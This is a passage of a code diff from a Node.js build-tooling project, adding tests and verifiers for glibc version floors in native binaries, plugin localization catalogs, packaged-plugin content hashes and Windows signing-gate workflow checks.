// 0x7f 'E' 'L' 'F' + class/data/version padding — enough for the magic check.
const ELF_HEADER = Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00])
// Real `objdump -p` "Version References" shape (entry: 0xHASH 0xFLAGS <n> NAME;
// flags 0x02 = VER_FLG_WEAK). Includes a symbol-less ABI marker, a weak need,
// and a libstdc++ need.
const OBJDUMP_P = [
'Dynamic Section:',
' NEEDED libc.so.6',
'',
'Version References:',
' required from libc.so.6:',
' 0x09691a75 0x00 06 GLIBC_2.2.5',
' 0x069691b4 0x00 05 GLIBC_2.34',
' 0x0d696914 0x02 04 GLIBC_2.18',
' 0x00fd0e42 0x00 03 GLIBC_ABI_DT_RELR',
' required from libstdc++.so.6:',
' 0x0b481abc 0x00 07 GLIBCXX_3.4.29',
''
].join('\n')
describe('verify-linux-glibc-floor parsing', () => {
it('parses and compares numeric version tuples', () => {
expect(parseGlibcVersion('2.34')).toEqual([2, 34])
expect(parseGlibcVersion('3.4.28')).toEqual([3, 4, 28])
expect(compareGlibcVersions([2, 2, 5], [2, 14])).toBe(-1)
expect(compareGlibcVersions([2, 31], [2, 32])).toBe(-1)
expect(compareGlibcVersions([2, 34], [2, 31])).toBe(1)
expect(compareGlibcVersions([2, 31], [2, 31])).toBe(0)
expect(compareGlibcVersions([2, 31], [2, 31, 0])).toBe(0)
expect(compareGlibcVersions([3, 4, 29], [3, 4, 28])).toBe(1)
})
it('parses objdump -p Version References into per-library version needs', () => {
const needs = parseVersionNeeds(OBJDUMP_P)
expect(needs).toContainEqual({ library: 'libc.so.6', name: 'GLIBC_2.34', weak: false })
expect(needs).toContainEqual({ library: 'libc.so.6', name: 'GLIBC_ABI_DT_RELR', weak: false })
expect(needs).toContainEqual({ library: 'libc.so.6', name: 'GLIBC_2.18', weak: true })
expect(needs).toContainEqual({ library: 'libstdc++.so.6', name: 'GLIBCXX_3.4.29', weak: false })
})
it('classifies version nodes across glibc and libstdc++ families', () => {
expect(isVersionNodeAboveFloor('GLIBC_2.34')).toBe(true)
expect(isVersionNodeAboveFloor('GLIBC_2.31')).toBe(false)
expect(isVersionNodeAboveFloor('GLIBC_ABI_DT_RELR')).toBe(true) // symbol-less marker (2.36+)
// GLIBC_PRIVATE is not a stable ABI contract; a needed private symbol can be
// absent on the floor even though the version node exists — reject it.
expect(isVersionNodeAboveFloor('GLIBC_PRIVATE')).toBe(true)
expect(isVersionNodeAboveFloor('CXXABI_TM_1')).toBe(false) // named libstdc++ node on 20.04
expect(isVersionNodeAboveFloor('GLIBCXX_3.4.29')).toBe(true) // GCC 11, above 20.04's 3.4.28
expect(isVersionNodeAboveFloor('GLIBCXX_3.4.28')).toBe(false)
expect(isVersionNodeAboveFloor('CXXABI_1.3.13')).toBe(true)
expect(isVersionNodeAboveFloor('CXXABI_1.3.12')).toBe(false)
expect(isVersionNodeAboveFloor('GCC_3.0')).toBe(false) // family not gated
})
it('flags strong too-new glibc + libstdc++ needs, skipping weak and ungated families', () => {
const violations = findFloorViolations(parseVersionNeeds(OBJDUMP_P), '/opt/app/pty.node')
const names = violations.map((v) => v.name).sort()
// GLIBC_2.34, GLIBC_ABI_DT_RELR, GLIBCXX_3.4.29 fail; weak GLIBC_2.18 and
// GLIBC_2.2.5 are excluded.
expect(names).toEqual(['GLIBCXX_3.4.29', 'GLIBC_2.34', 'GLIBC_ABI_DT_RELR'].sort())
})
it('exempts sherpa-onnx from the libstdc++ floor but still gates its glibc', () => {
const needs = [
{ library: 'libstdc++.so.6', name: 'GLIBCXX_3.4.29', weak: false },
{ library: 'libc.so.6', name: 'GLIBC_2.34', weak: false }
]
// A launch-critical module: both are violations.
expect(
findFloorViolations(needs, '/opt/app/node_modules/node-pty/pty.node').map((v) => v.name)
).toEqual(['GLIBCXX_3.4.29', 'GLIBC_2.34'])
// sherpa: GLIBCXX exempt (lazy speech prebuilt), glibc still enforced.
expect(
findFloorViolations(
needs,
'/opt/app/node_modules/sherpa-onnx-linux-x64/sherpa-onnx.node'
).map((v) => v.name)
).toEqual(['GLIBC_2.34'])
})
it('reports no violations when every strong need is at or below the floor', () => {
const needs = parseVersionNeeds(
[
'Version References:',
' required from libc.so.6:',
' 0x00 0x00 02 GLIBC_2.2.5',
' 0x00 0x00 03 GLIBC_2.28',
' required from libstdc++.so.6:',
' 0x00 0x00 04 GLIBCXX_3.4.22'
].join('\n')
)
expect(findFloorViolations(needs, '/opt/app/pty.node')).toEqual([])
})
})
describe('DT_NEEDED provider check', () => {
const OBJDUMP_P_DYNAMIC = [
'Dynamic Section:',
' NEEDED libutil.so.1',
' NEEDED libpthread.so.0',
' NEEDED libc.so.6',
'',
'Version References:',
' required from libc.so.6:',
' 0x0 0x00 02 GLIBC_2.2.5'
].join('\n')
it('parses DT_NEEDED shared libraries from objdump -p', () => {
const needed = parseNeededLibraries(OBJDUMP_P_DYNAMIC)
expect([...needed].sort()).toEqual(['libc.so.6', 'libpthread.so.0', 'libutil.so.1'])
})
it('parses undefined imported symbols from objdump -T, stripping @VERSION', () => {
const output = [
'0000000000000000 DF *UND*\t0000000000000000 (GLIBC_2.2.5) openpty',
'0000000000000000 w DF *UND*\t0000000000000000 __cxa_finalize@GLIBC_2.2.5',
'0000000000000000 DF .text\t0000000000000000 defined_symbol'
].join('\n')
const imported = parseImportedSymbols(output)
expect(imported.has('openpty')).toBe(true)
expect(imported.has('__cxa_finalize')).toBe(true)
expect(imported.has('defined_symbol')).toBe(false) // not *UND*
})
it('flags a binary that imports openpty/forkpty without libutil.so.1 in DT_NEEDED', () => {
const importsPty = new Set(['openpty', 'forkpty', 'free'])
// Missing libutil.so.1 -> the pinned symbols would not resolve on the floor.
expect(
findMissingProviderDeps(importsPty, new Set(['libc.so.6'])).map((m) => m.symbol)
).toEqual(['openpty', 'forkpty'])
// With libutil.so.1 present, no violation.
expect(findMissingProviderDeps(importsPty, new Set(['libc.so.6', 'libutil.so.1']))).toEqual([])
// A binary that doesn't import the relocated symbols is never flagged.
expect(findMissingProviderDeps(new Set(['free']), new Set(['libc.so.6']))).toEqual([])
})
})
describe('collectNativeBinaries', () => {
it('collects only ELF .node/.so/executable files, skipping non-ELF and symlinks', async () => {
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-collect-'))
try {
await mkdir(join(root, 'nested'), { recursive: true })
await writeFile(join(root, 'addon.node'), ELF_HEADER)
await writeFile(join(root, 'nested', 'lib.so'), ELF_HEADER)
await writeFile(join(root, 'nested', 'lib.so.1'), ELF_HEADER)
await writeFile(join(root, 'orca-ide'), ELF_HEADER) // extensionless executable
await writeFile(join(root, 'script.js'), ELF_HEADER) // has extension, not native
await writeFile(join(root, 'text.node'), 'not an elf file') // native name, non-ELF
await writeFile(join(root, 'notes.md'), ELF_HEADER)
try {
await symlink(join(root, 'addon.node'), join(root, 'alias.node'))
} catch {
// Symlink creation can be restricted; the rest of the assertions still hold.
}
const found = collectNativeBinaries(root).map((p) => p.slice(root.length + 1))
expect(found).toContain('addon.node')
expect(found).toContain(join('nested', 'lib.so'))
expect(found).toContain(join('nested', 'lib.so.1'))
expect(found).toContain('orca-ide')
expect(found).not.toContain('script.js')
expect(found).not.toContain('text.node')
expect(found).not.toContain('notes.md')
expect(found).not.toContain('alias.node')
} finally {
await rm(root, { recursive: true, force: true })
}
})
})
describe.skipIf(process.platform === 'win32')('verifyLinuxGlibcFloor', () => {
// A stub objdump keyed on the inspected file's basename. Handles `-p` (Dynamic
// Section DT_NEEDED + Version References) and `-T` (undefined symbols).
// `*fail*` exits non-zero (fail-closed branch); `*noutil*` omits libutil.so.1
// from DT_NEEDED; `*pty*` imports openpty. Match on basename only so the
// (random) temp-dir path cannot collide.
async function writeStubObjdump(dir) {
const stubPath = join(dir, 'objdump-stub.sh')
await writeFile(
stubPath,
[
'#!/bin/sh',
'if [ "$1" = "--version" ]; then echo "GNU objdump (stub)"; exit 0; fi',
'f=$(basename "$2")',
'case "$f" in',
' *fail*) echo "objdump: $f: File format not recognized" >&2; exit 1 ;;',
'esac',
'if [ "$1" = "-T" ]; then',
' case "$f" in',
' *pty*) printf "0000 DF *UND* 0000 (GLIBC_2.2.5) openpty\\n" ;;',
' esac',
' exit 0',
'fi',
'printf "Dynamic Section:\\n NEEDED libc.so.6\\n"',
'case "$f" in',
' *noutil*) : ;;',
' *) printf " NEEDED libutil.so.1\\n NEEDED libpthread.so.0\\n" ;;',
'esac',
'printf "\\nVersion References:\\n required from libc.so.6:\\n"',
'case "$f" in',
' *bad*) printf " 0x0 0x00 03 GLIBC_2.34\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
' *relr*) printf " 0x0 0x00 05 GLIBC_ABI_DT_RELR\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
' *weakonly*) printf " 0x0 0x02 06 GLIBC_2.32\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
' *cxx*|*sherpa*)',
' printf " required from libstdc++.so.6:\\n 0x0 0x00 07 GLIBCXX_3.4.29\\n" ;;',
' *) printf " 0x0 0x00 08 GLIBC_2.28\\n 0x0 0x00 04 GLIBC_2.2.5\\n" ;;',
'esac',
'exit 0'
].join('\n'),
{ mode: 0o755 }
)
return stubPath
}
it('throws listing binaries over the floor (glibc, DT_RELR marker, and libstdc++)', async () => {
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-over-'))
try {
const objdumpPath = await writeStubObjdump(root)
await mkdir(join(root, 'app', 'resources'), { recursive: true })
await writeFile(join(root, 'app', 'resources', 'bad-pty.node'), ELF_HEADER)
await writeFile(join(root, 'app', 'relr-exe.node'), ELF_HEADER)
await writeFile(join(root, 'app', 'cxx-addon.node'), ELF_HEADER) // launch-critical GLIBCXX_3.4.29
await writeFile(join(root, 'app', 'good.so'), ELF_HEADER)
let error
try {
verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })
} catch (e) {
error = e
}
expect(error).toBeDefined()
expect(error.message).toMatch(/bad-pty\.node needs GLIBC_2\.34/)
expect(error.message).toMatch(/relr-exe\.node needs GLIBC_ABI_DT_RELR/)
expect(error.message).toMatch(/cxx-addon\.node needs GLIBCXX_3\.4\.29/)
} finally {
await rm(root, { recursive: true, force: true })
}
})
it('throws when a pinned binary imports openpty without libutil.so.1 in DT_NEEDED', async () => {
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-noutil-'))
try {
const objdumpPath = await writeStubObjdump(root)
await mkdir(join(root, 'app'), { recursive: true })
// Below the version floor (so the version check passes) but libutil.so.1
// is missing from DT_NEEDED — openpty would not resolve on Ubuntu 20.04.
await writeFile(join(root, 'app', 'noutil-pty.node'), ELF_HEADER)
expect(() => verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })).toThrow(
/noutil-pty\.node imports openpty but libutil\.so\.1 is not in DT_NEEDED/
)
} finally {
await rm(root, { recursive: true, force: true })
}
})
it('passes weak/at-floor needs and the exempt sherpa-onnx libstdc++ prebuilt', async () => {
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-under-'))
try {
const objdumpPath = await writeStubObjdump(root)
const sherpaDir = join(root, 'app', 'node_modules', 'sherpa-onnx-linux-x64')
await mkdir(sherpaDir, { recursive: true })
await writeFile(join(root, 'app', 'good-pty.node'), ELF_HEADER)
await writeFile(join(root, 'app', 'weakonly-lib.so'), ELF_HEADER) // weak GLIBC_2.32 → OK
await writeFile(join(root, 'app', 'orca-ide'), ELF_HEADER)
await writeFile(join(sherpaDir, 'sherpa-onnx.node'), ELF_HEADER) // GLIBCXX_3.4.29, exempt
expect(() => verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })).not.toThrow()
} finally {
await rm(root, { recursive: true, force: true })
}
})
it('fails closed when objdump cannot read a binary (non-zero exit)', async () => {
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-closed-'))
try {
const objdumpPath = await writeStubObjdump(root)
await mkdir(join(root, 'app'), { recursive: true })
await writeFile(join(root, 'app', 'unreadable-fail.node'), ELF_HEADER)
expect(() => verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath })).toThrow(
/objdump -p failed/
)
} finally {
await rm(root, { recursive: true, force: true })
}
})
it('is a no-op (no objdump needed) when there are no native binaries', async () => {
const root = await mkdtemp(join(tmpdir(), 'orca-glibc-empty-'))
try {
await mkdir(join(root, 'app'), { recursive: true })
await writeFile(join(root, 'app', 'readme.txt'), 'no binaries here')
expect(() =>
verifyLinuxGlibcFloor(join(root, 'app'), { objdumpPath: '/nonexistent/objdump' })
).not.toThrow()
} finally {
await rm(root, { recursive: true, force: true })
}
})
})
+66 -2
View File
@@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
}
function parseArgs(argv) {
return {
fix: argv.includes('--fix')
const pluginCatalogs = []
for (let index = 0; index < argv.length; index += 1) {
const argument = argv[index]
if (argument === '--plugin-catalog') {
const catalogPath = argv[index + 1]
if (!catalogPath || catalogPath.startsWith('--')) {
throw new Error('--plugin-catalog requires a JSON catalog path')
}
pluginCatalogs.push(catalogPath)
index += 1
} else if (argument.startsWith('--plugin-catalog=')) {
pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
}
}
return {
fix: argv.includes('--fix'),
pluginCatalogs
}
}
async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
const resolvedPath = path.resolve(root, pluginCatalogPath)
let pluginCatalog
try {
pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
} catch (error) {
console.error(
`Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
)
return 1
}
const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
collectLocaleParityIssues(catalog, pluginCatalog)
const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
console.log(
`Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
)
if (missingInLocale.length > 0) {
console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
if (missingInLocale.length > 20) {
console.log(`...and ${missingInLocale.length - 20} more missing keys`)
}
}
if (extraInLocale.length > 0) {
console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
}
if (interpolationMismatches.length > 0) {
console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
}
// Why: absent plugin translations safely fall back to English, but a present
// value with different variables can render broken or misleading UI.
return interpolationMismatches.length > 0 ? 1 : 0
}
export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
const catalogPath = path.join(localesDir, 'en.json')
const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
const pluginCatalogs = options.pluginCatalogs ?? []
if (pluginCatalogs.length > 0) {
if (options.fix) {
console.error('--fix cannot be combined with --plugin-catalog')
return 1
}
for (const pluginCatalogPath of pluginCatalogs) {
const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
if (result !== 0) {
return result
}
}
return 0
}
let catalogKeys = new Set(flattenCatalogKeys(catalog))
const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
const references = []
@@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import path from 'node:path'
import { describe, expect, it } from 'vitest'
import { describe, expect, it, vi } from 'vitest'
import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
@@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
})
it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
const { root } = makeProject({
sourceText: 'export {}\n',
enCatalog: {
auto: { first: 'First {{name}}', second: 'Second' }
},
esCatalog: {
auto: { first: 'Primero {{name}}', second: 'Segundo' }
}
})
const pluginCatalogPath = path.join(root, 'plugin-locale.json')
writeJson(pluginCatalogPath, {
auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
})
const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
try {
await expect(
verifyLocalizationCatalog(root, {
fix: false,
pluginCatalogs: [pluginCatalogPath]
})
).resolves.toBe(1)
expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
} finally {
report.mockRestore()
}
})
})
@@ -0,0 +1,111 @@
const { createHash } = require('node:crypto')
const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
const { isAbsolute, join, relative, resolve, sep } = require('node:path')
const MAX_PLUGIN_FILES = 2_000
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
function hashLength(hash, length) {
const framedLength = Buffer.allocUnsafe(8)
framedLength.writeBigUInt64BE(BigInt(length))
hash.update(framedLength)
}
function hashPackagedPluginTree(root) {
const files = []
let entriesVisited = 0
let totalBytes = 0
const visit = (directory) => {
const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
left.name < right.name ? -1 : left.name > right.name ? 1 : 0
)
for (const entry of entries) {
if (directory === root && entry.name === '.git') {
continue
}
const entryPath = join(directory, entry.name)
const metadata = lstatSync(entryPath)
entriesVisited += 1
if (entriesVisited > MAX_PLUGIN_FILES) {
throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
}
if (metadata.isSymbolicLink()) {
throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
}
if (metadata.isDirectory()) {
visit(entryPath)
} else if (metadata.isFile()) {
totalBytes += metadata.size
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
}
files.push({ path: entryPath, size: metadata.size })
} else {
throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
}
}
}
visit(root)
const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
for (const file of files) {
const relativePath = relative(root, file.path).replaceAll('\\', '/')
hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
hash.update(relativePath, 'utf8')
hashLength(hash, file.size)
hash.update(readFileSync(file.path))
}
return hash.digest('hex')
}
function readJsonFile(path, label) {
try {
return JSON.parse(readFileSync(path, 'utf8'))
} catch (error) {
throw new Error(
`[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
)
}
}
function verifyPackagedPluginResources(resourcesDir) {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
if (!statSync(launchRoot).isDirectory()) {
throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
}
const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
}
const resolvedRoot = resolve(launchRoot)
for (const entry of index.plugins) {
if (
typeof entry?.pluginKey !== 'string' ||
typeof entry.path !== 'string' ||
!/^[0-9a-f]{64}$/.test(entry.contentHash)
) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
}
const pluginRoot = resolve(launchRoot, entry.path)
const fromRoot = relative(resolvedRoot, pluginRoot)
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
}
const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
throw new Error(
`[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
)
}
if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
throw new Error(
`[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
)
}
}
console.log(
`[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
)
}
module.exports = { verifyPackagedPluginResources }
@@ -0,0 +1,77 @@
import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { createRequire } from 'node:module'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { describe, expect, it } from 'vitest'
const require = createRequire(import.meta.url)
const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
describe('verify packaged plugin resources', () => {
it('accepts exact launch bytes copied into a packaged resources directory', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
await cp(
join(process.cwd(), 'resources', 'plugins', 'launch'),
join(resourcesDir, 'plugins', 'launch'),
{ recursive: true }
)
expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
it('rejects mutated bytes in the packaged output', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
recursive: true
})
await writeFile(
join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
'{"mutated":true}\n'
)
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
'packaged bytes do not match stablyai.orca-navigation-shortcuts'
)
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
// The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
// pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
expect(attributes).toContain('/resources/plugins/** text eol=lf')
})
it('rejects a CRLF checkout of the launch tree', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
recursive: true
})
for (const entry of await readdir(launchRoot, { recursive: true })) {
const path = join(launchRoot, entry)
if (!(await stat(path)).isFile()) {
continue
}
await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
}
// Every file is rewritten, so the first mismatch is whichever plugin sorts
// first — don't pin a name a later branch can reorder.
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
/packaged bytes do not match stablyai\./
)
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
})
@@ -0,0 +1,306 @@
import { readFileSync } from 'node:fs'
import { join, resolve } from 'node:path'
import { describe, expect, it } from 'vitest'
// Why: the inner-binary signing gate silently degraded for four releases because it
// shelled out to a hardcoded `node_modules/7zip-bin/...` path that electron-builder
// 26.9+ no longer installs. Pin both workflows to the resolver instead (#6487).
const workflowsDir = resolve(import.meta.dirname, '../..', '.github', 'workflows')
const GATED_WORKFLOWS = ['release-cut.yml', 'windows-signing-rehearsal.yml']
function workflowSource(name) {
return readFileSync(join(workflowsDir, name), 'utf8')
}
// Why a scanner and not a regex: PowerShell gates here contain braces inside
// strings (`"{0,-14} {1} <{2}>" -f ...`) and inside comments, so naive brace
// counting mis-pairs and every scope assertion below silently degrades into
// "some text appears somewhere in the file". The same walk also lets assertions
// distinguish a keyword the shell executes from the same word sitting in a
// message string — downgrading `throw` to `Write-Host "...would throw..."`
// otherwise passes a `/\bthrow\b/` check while restoring the silent fail-open.
/** `source` split into `{start, end, kind}` spans, kind being 'code' | 'string' | 'comment'. */
function scanSpans(source) {
// Here-strings use different terminator rules; refusing them beats mis-pairing silently.
expect(source, 'here-strings are not understood by this scanner').not.toMatch(/@['"]/)
const spans = []
let i = 0
while (i < source.length) {
const char = source[i]
if (char === '#') {
const newline = source.indexOf('\n', i)
const end = newline === -1 ? source.length : newline
spans.push({ start: i, end, kind: 'comment' })
i = end
continue
}
if (char === "'") {
let end = i + 1
while (end < source.length) {
if (source[end] !== "'") {
end += 1
} else if (source[end + 1] === "'") {
end += 2 // doubled '' escapes a quote rather than closing the string
} else {
break
}
}
end = Math.min(end + 1, source.length)
spans.push({ start: i, end, kind: 'string' })
i = end
continue
}
if (char === '"') {
let end = i + 1
while (end < source.length && source[end] !== '"') {
end += source[end] === '`' ? 2 : 1
}
end = Math.min(end + 1, source.length)
spans.push({ start: i, end, kind: 'string' })
i = end
continue
}
let end = i
while (end < source.length && !'#\'"'.includes(source[end])) {
end += 1
}
spans.push({ start: i, end, kind: 'code' })
i = end
}
return spans
}
/** `source` with the named span kinds blanked to spaces — same length, so indices still line up. */
function blank(source, spans, kinds) {
const chars = source.split('')
for (const span of spans) {
if (!kinds.includes(span.kind)) {
continue
}
for (let i = span.start; i < span.end; i += 1) {
if (chars[i] !== '\n') {
chars[i] = ' '
}
}
}
return chars.join('')
}
/** `source` with comments blanked — for assertions whose subject is a literal the gate prints. */
function withoutComments(source) {
return blank(source, scanSpans(source), ['comment'])
}
/** `source` with strings and comments blanked — for assertions about executed statements. */
function codeOf(source) {
return blank(source, scanSpans(source), ['string', 'comment'])
}
/**
* The `{ ... }` block opening after `marker`. `code` has strings and comments blanked, so a
* keyword assertion against it can only be satisfied by a keyword the shell would execute;
* `text` keeps strings but drops comments, for assertions about literals the gate emits.
*/
function blockAfter(source, marker, from = 0) {
const spans = scanSpans(source)
const code = blank(source, spans, ['string', 'comment'])
const markerIndex = code.indexOf(marker, from)
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
const start = code.indexOf('{', markerIndex)
expect(start, `no block opens after: ${marker}`).toBeGreaterThan(-1)
let depth = 0
let end = -1
for (let i = start; i < source.length && end === -1; i += 1) {
if (code[i] === '{') {
depth += 1
} else if (code[i] === '}') {
depth -= 1
if (depth === 0) {
end = i
}
}
}
expect(end, `unbalanced block after: ${marker}`).toBeGreaterThan(-1)
return {
start,
end,
code: code.slice(start, end + 1),
text: blank(source, spans, ['comment']).slice(start, end + 1)
}
}
/**
* The innermost `{ ... }` block enclosing `marker`, plus the keyword introducing it.
* Needed where the anchor is the block's *contents*: `blockAfter(step, '} catch {')` picks
* whichever catch comes first in the file, which stopped being the gate's own once the
* persistence helpers grew their own try/catch.
*/
function blockEnclosing(source, marker) {
const spans = scanSpans(source)
const code = blank(source, spans, ['string', 'comment'])
// Located in the comment-stripped text (the marker may include a string literal),
// then paired in `code`; both blankings preserve length, so indices line up.
const markerIndex = blank(source, spans, ['comment']).indexOf(marker)
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
let depth = 0
let end = -1
for (let i = markerIndex; i < code.length && end === -1; i += 1) {
if (code[i] === '{') {
depth += 1
} else if (code[i] === '}') {
if (depth === 0) {
end = i
} else {
depth -= 1
}
}
}
depth = 0
let start = -1
for (let i = markerIndex; i >= 0 && start === -1; i -= 1) {
if (code[i] === '}') {
depth += 1
} else if (code[i] === '{') {
if (depth === 0) {
start = i
} else {
depth -= 1
}
}
}
expect(start, `no block encloses: ${marker}`).toBeGreaterThan(-1)
expect(end, `no block encloses: ${marker}`).toBeGreaterThan(-1)
return { start, end, keyword: code.slice(0, start).trimEnd().split(/\s+/).pop() }
}
describe('Windows signing gates resolve 7za through the toolset resolver (#6487)', () => {
for (const name of GATED_WORKFLOWS) {
it(`${name} does not hardcode the removed 7zip-bin path`, () => {
expect(workflowSource(name)).not.toContain('node_modules/7zip-bin')
})
it(`${name} resolves 7za via resolve-7za-path.mjs`, () => {
expect(workflowSource(name)).toContain('node config/scripts/resolve-7za-path.mjs')
})
it(`${name} checks resolver failure before trimming its output`, () => {
const source = workflowSource(name)
const code = codeOf(source)
const resolveIndex = code.indexOf('$7zaOutput = node config/scripts/resolve-7za-path.mjs')
const exitCodeIndex = code.indexOf('$7zaExitCode = $LASTEXITCODE')
const exitGuard = blockAfter(source, 'if ($7zaExitCode -ne 0)')
const trimIndex = code.indexOf('$7za = ($7zaOutput | Out-String).Trim()')
expect(resolveIndex).toBeGreaterThan(-1)
expect(exitCodeIndex).toBeGreaterThan(resolveIndex)
expect(exitGuard.start).toBeGreaterThan(exitCodeIndex)
expect(exitGuard.code).toMatch(/\bthrow\b/)
expect(trimIndex).toBeGreaterThan(exitGuard.end)
})
it(`${name} rejects an empty or non-file 7za path`, () => {
const source = workflowSource(name)
const guard = blockAfter(
source,
'if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf))'
)
expect(guard.code).toMatch(/\bthrow\b/)
})
}
// Why sliced to one step: release-cut.yml runs several PowerShell gates that
// share idioms (`$failures`, `} catch {`), so a whole-file search silently
// asserts against the wrong block.
function innerBinaryStep() {
const source = workflowSource('release-cut.yml')
const start = source.indexOf('- name: Verify Windows inner binary signatures')
expect(start).toBeGreaterThan(-1)
const end = source.indexOf('\n - name:', start + 1)
expect(end).toBeGreaterThan(start)
return source.slice(start, end)
}
// Why parse the function body rather than grep the file: asserting that the
// string 'Write-GateVerdict' appears somewhere passes even if the body is
// gutted to a Write-Host, which is exactly the silent degradation this gate
// exists to prevent.
function gateVerdictBlock() {
return blockAfter(innerBinaryStep(), 'function Write-GateVerdict')
}
it('persists the verdict to the evidence file the artifact upload collects', () => {
const block = gateVerdictBlock()
expect(block.text).toMatch(/Set-Content\s+-Path\s+'inner-signing-evidence\.txt'/)
expect(block.code).toContain('Add-GateSummary')
})
// Why cross-checked: the upload is `if-no-files-found: ignore`, so renaming the
// evidence file on one side and not the other ships a green run with an artifact
